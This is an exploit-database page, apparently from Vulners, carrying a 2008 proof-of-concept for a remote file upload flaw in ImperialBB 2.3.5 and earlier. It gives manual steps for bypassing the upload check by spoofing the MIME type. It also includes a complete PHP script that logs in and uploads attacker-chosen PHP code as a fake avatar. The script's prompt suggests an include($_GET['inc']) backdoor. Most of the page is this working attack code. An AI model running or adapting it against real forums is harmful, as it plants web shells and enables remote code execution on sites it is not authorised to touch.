Lucene search
K

ImperialBB <= 2.3.5 Remote File Upload Exploit

🗓️ 06 Jul 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

ImperialBB <= 2.3.5 Remote File Upload Vulnerability found by PHPLizardo on 5th July 2008. Attacker can upload a malicious script on the webserver

Code

                                                Title&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;ImperialBB&nbsp;&lt;=&nbsp;2.3.5&nbsp;Remote&nbsp;File&nbsp;Upload&nbsp;Vulnerability
Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;5th&nbsp;July&nbsp;2008
Found&nbsp;by&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;PHPLizardo&nbsp;-&nbsp;http://phplizardo.2gb.fr
Greetz&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;Gu1ll4um3r0m41n

Howto&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;&nbsp;1.&nbsp;Go&nbsp;to&nbsp;your&nbsp;User&nbsp;Control&nbsp;Panel
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.&nbsp;Upload&nbsp;any&nbsp;file&nbsp;you&nbsp;want
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.&nbsp;Tamper&nbsp;the&nbsp;request&nbsp;and&nbsp;change&nbsp;the&nbsp;mime-type&nbsp;to&nbsp;:&nbsp;image/gif
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4.&nbsp;There&nbsp;is&nbsp;your&nbsp;file&nbsp;:&nbsp;http://site.com/[forum_path]/images/avatars/uploads/[your_nickname]_[filename].[ext]
			&nbsp;&nbsp;&nbsp;
&lt;?php
/*

	Title&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;ImperialBB&nbsp;&lt;=&nbsp;2.3.5&nbsp;Remote&nbsp;Upload&nbsp;Vulnerability
	Date&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;5th&nbsp;July&nbsp;2008
	Found&nbsp;by&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;PHPLizardo
	
	Description&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;This&nbsp;vulnerability&nbsp;can&nbsp;be&nbsp;used&nbsp;by&nbsp;a&nbsp;attacker&nbsp;to&nbsp;upload&nbsp;&nbsp;a&nbsp;malicious&nbsp;script&nbsp;on&nbsp;the&nbsp;webserver.

	Greetz&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;irc.worldnet.net&nbsp;#carib0u
							&nbsp;&nbsp;

*/

if(count($argv)&nbsp;==&nbsp;5)
{
	echo&nbsp;&quot;\n\n&quot;;
	echo&nbsp;&quot;+---------------------------------------------------------------+\r\n&quot;;
	echo&nbsp;&quot;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ImperialBB&nbsp;&lt;=&nbsp;2.3.5&nbsp;Remote&nbsp;Upload&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
	echo&nbsp;&quot;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;By&nbsp;PHPLizardo&nbsp;-&nbsp;irc.worldnet.net&nbsp;#carib0u&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
	echo&nbsp;&quot;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Usage:&nbsp;php&nbsp;exploit.php&nbsp;site.com&nbsp;/path/&nbsp;user&nbsp;pass&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
	echo&nbsp;&quot;+---------------------------------------------------------------+\r\n&quot;;
	echo&nbsp;&quot;\n&quot;;
		
	echo&nbsp;&quot;Code&nbsp;to&nbsp;write&nbsp;in&nbsp;the&nbsp;file&nbsp;(ie.&nbsp;&lt;?php&nbsp;include(\$_GET['inc']);&nbsp;?&gt;)&nbsp;:\r\n\n&quot;;
	$code&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&nbsp;&nbsp;trim(fgets(STDIN));
	
	$socket&nbsp;&nbsp;&nbsp;=&nbsp;&nbsp;&nbsp;@fsockopen($argv[1],&nbsp;80,&nbsp;$eno,&nbsp;$estr,&nbsp;30);
	if(!$socket)
	{
		die(&quot;Could&nbsp;not&nbsp;connect&nbsp;to&nbsp;&quot;.$argv[1].&quot;.&nbsp;Operation&nbsp;aborted.&quot;);
	}
	
	$part1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&nbsp;&nbsp;&quot;POST&nbsp;&quot;&nbsp;.&nbsp;$argv[2]&nbsp;.&nbsp;&quot;profile.php?func=edit&nbsp;HTTP/1.1\r\n&quot;;
	$part1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Host:&nbsp;&quot;&nbsp;.&nbsp;$argv[1]&nbsp;.&nbsp;&quot;\r\n&quot;;
	$part1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Accept:&nbsp;*/*\r\n&quot;;
	$part1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Connection:&nbsp;Close\r\n&quot;;
	$part1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Cookie:&nbsp;UserName=&quot;&nbsp;.&nbsp;$argv[3]&nbsp;.&nbsp;&quot;;&nbsp;Password=&quot;&nbsp;.&nbsp;md5(md5($argv[4]))&nbsp;.&nbsp;&quot;\r\n&quot;;
	$part1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Type:&nbsp;multipart/form-data;&nbsp;boundary=---------------------------200831142015814\r\n&quot;;
	
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;Email\&quot;\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;[email protected]\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;Email2\&quot;\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;[email protected]\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;OldPass\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;PassWord\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;Pass2\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;signature\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;aim\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;icq\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;msn\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;yahoo\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;Remote_Avatar_URL\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;Upload_Avatar\&quot;;&nbsp;filename=\&quot;funypicture.php\&quot;\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Type:&nbsp;image/gif\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;$code.&quot;\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;month\&quot;\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;00\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;day\&quot;\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;00\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;year\&quot;\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;0000\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;website\&quot;\r\n\r\n\r\n&quot;;

	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;location\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;email_on_pm\&quot;\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;0\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;OldPass\&quot;\r\n\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Disposition:&nbsp;form-data;&nbsp;name=\&quot;Submit\&quot;\r\n\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Submit\r\n&quot;;
	$part2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;-----------------------------200831142015814--\r\n&quot;;
	
	$part1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;&quot;Content-Length:&nbsp;&quot;&nbsp;.&nbsp;strlen($part2)&nbsp;.&nbsp;&quot;\r\n\r\n&quot;;
	
	
	
	$part1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.=&nbsp;&nbsp;&nbsp;$part2;
	
	fwrite($socket,&nbsp;$part1);
	
	echo&nbsp;&quot;It&nbsp;might&nbsp;have&nbsp;worked,&nbsp;check&nbsp;if&nbsp;your&nbsp;file&nbsp;is&nbsp;online&nbsp;at&nbsp;-&gt;&nbsp;http://&quot;&nbsp;.&nbsp;$argv[1]&nbsp;.&nbsp;$argv[2]&nbsp;.&nbsp;&quot;/images/avatars/uploads/&quot;&nbsp;.&nbsp;$argv[3]&nbsp;.&nbsp;&quot;_funypicture.php&quot;;
	
}
else
{
	echo&nbsp;&quot;\n\n&quot;;
	echo&nbsp;&quot;+----.-----------------------------------------------------------+\r\n&quot;;
	echo&nbsp;&quot;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ImperialBB&nbsp;&lt;=&nbsp;2.3.5&nbsp;Remote&nbsp;Upload&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
	echo&nbsp;&quot;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;By&nbsp;PHPLizardo&nbsp;-&nbsp;irc.worldnet.net&nbsp;#carib0u&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
	echo&nbsp;&quot;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Usage:&nbsp;php&nbsp;exploit.php&nbsp;site.com&nbsp;/path/&nbsp;user&nbsp;pass&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|\r\n&quot;;
	echo&nbsp;&quot;+---------------------------------------------------------------+\r\n&quot;;
	echo&nbsp;&quot;\n\n&quot;;
}
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1
19